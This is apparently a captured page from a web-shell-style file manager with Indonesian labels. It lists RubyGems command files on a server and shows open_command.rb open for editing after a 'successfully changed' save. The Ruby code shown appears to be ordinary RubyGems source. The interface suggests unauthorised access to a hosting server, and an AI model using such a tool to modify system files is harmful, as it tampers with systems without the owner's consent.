PATH: //opt/alt/ruby22/lib64/ruby/2.2.0/rubygems/commands
FILE_BARU
CREATE
FOLDER_BARU
MKDIR
UPLOAD_FILE
GO
[ .. KEMBALI ]
📄 build_command.rb
↓
X
📄 cert_command.rb
↓
X
📄 check_command.rb
↓
X
📄 cleanup_command.rb
↓
X
📄 contents_command.rb
↓
X
📄 dependency_command.rb
↓
X
📄 environment_command.rb
↓
X
📄 fetch_command.rb
↓
X
📄 generate_index_command.rb
↓
X
📄 help_command.rb
↓
X
📄 install_command.rb
↓
X
📄 list_command.rb
↓
X
📄 lock_command.rb
↓
X
📄 mirror_command.rb
↓
X
📄 open_command.rb
↓
X
📄 outdated_command.rb
↓
X
📄 owner_command.rb
↓
X
📄 pristine_command.rb
↓
X
📄 push_command.rb
↓
X
📄 query_command.rb
↓
X
📄 rdoc_command.rb
↓
X
📄 search_command.rb
↓
X
📄 server_command.rb
↓
X
📄 setup_command.rb
↓
X
📄 sources_command.rb
↓
X
📄 specification_command.rb
↓
X
📄 stale_command.rb
↓
X
📄 uninstall_command.rb
↓
X
📄 unpack_command.rb
↓
X
📄 update_command.rb
↓
X
📄 which_command.rb
↓
X
📄 yank_command.rb
↓
X
SAVING...
BERHASIL DIUBAH!
EDITING: open_command.rb
require 'English' require 'rubygems/command' require 'rubygems/version_option' require 'rubygems/util' class Gem::Commands::OpenCommand < Gem::Command include Gem::VersionOption def initialize super 'open', 'Open gem sources in editor' add_option('-e', '--editor EDITOR', String, "Opens gem sources in EDITOR") do |editor, options| options[:editor] = editor || get_env_editor end end def arguments # :nodoc: "GEMNAME name of gem to open in editor" end def defaults_str # :nodoc: "-e #{get_env_editor}" end def description # :nodoc: <<-EOF The open command opens gem in editor and changes current path to gem's source directory. Editor can be specified with -e option, otherwise rubygems will look for editor in $EDITOR, $VISUAL and $GEM_EDITOR variables. EOF end def usage # :nodoc: "#{program_name} GEMNAME [-e EDITOR]" end def get_env_editor ENV['GEM_EDITOR'] || ENV['VISUAL'] || ENV['EDITOR'] || 'vi' end def execute @version = options[:version] || Gem::Requirement.default @editor = options[:editor] || get_env_editor found = open_gem(get_one_gem_name) terminate_interaction 1 unless found end def open_gem name spec = spec_for name return false unless spec open_editor(spec.full_gem_path) end def open_editor path system(*@editor.split(/\s+/) + [path]) end def spec_for name spec = Gem::Specification.find_all_by_name(name, @version).last return spec if spec say "Unable to find gem '#{name}'" end end
SIMPAN PERUBAHAN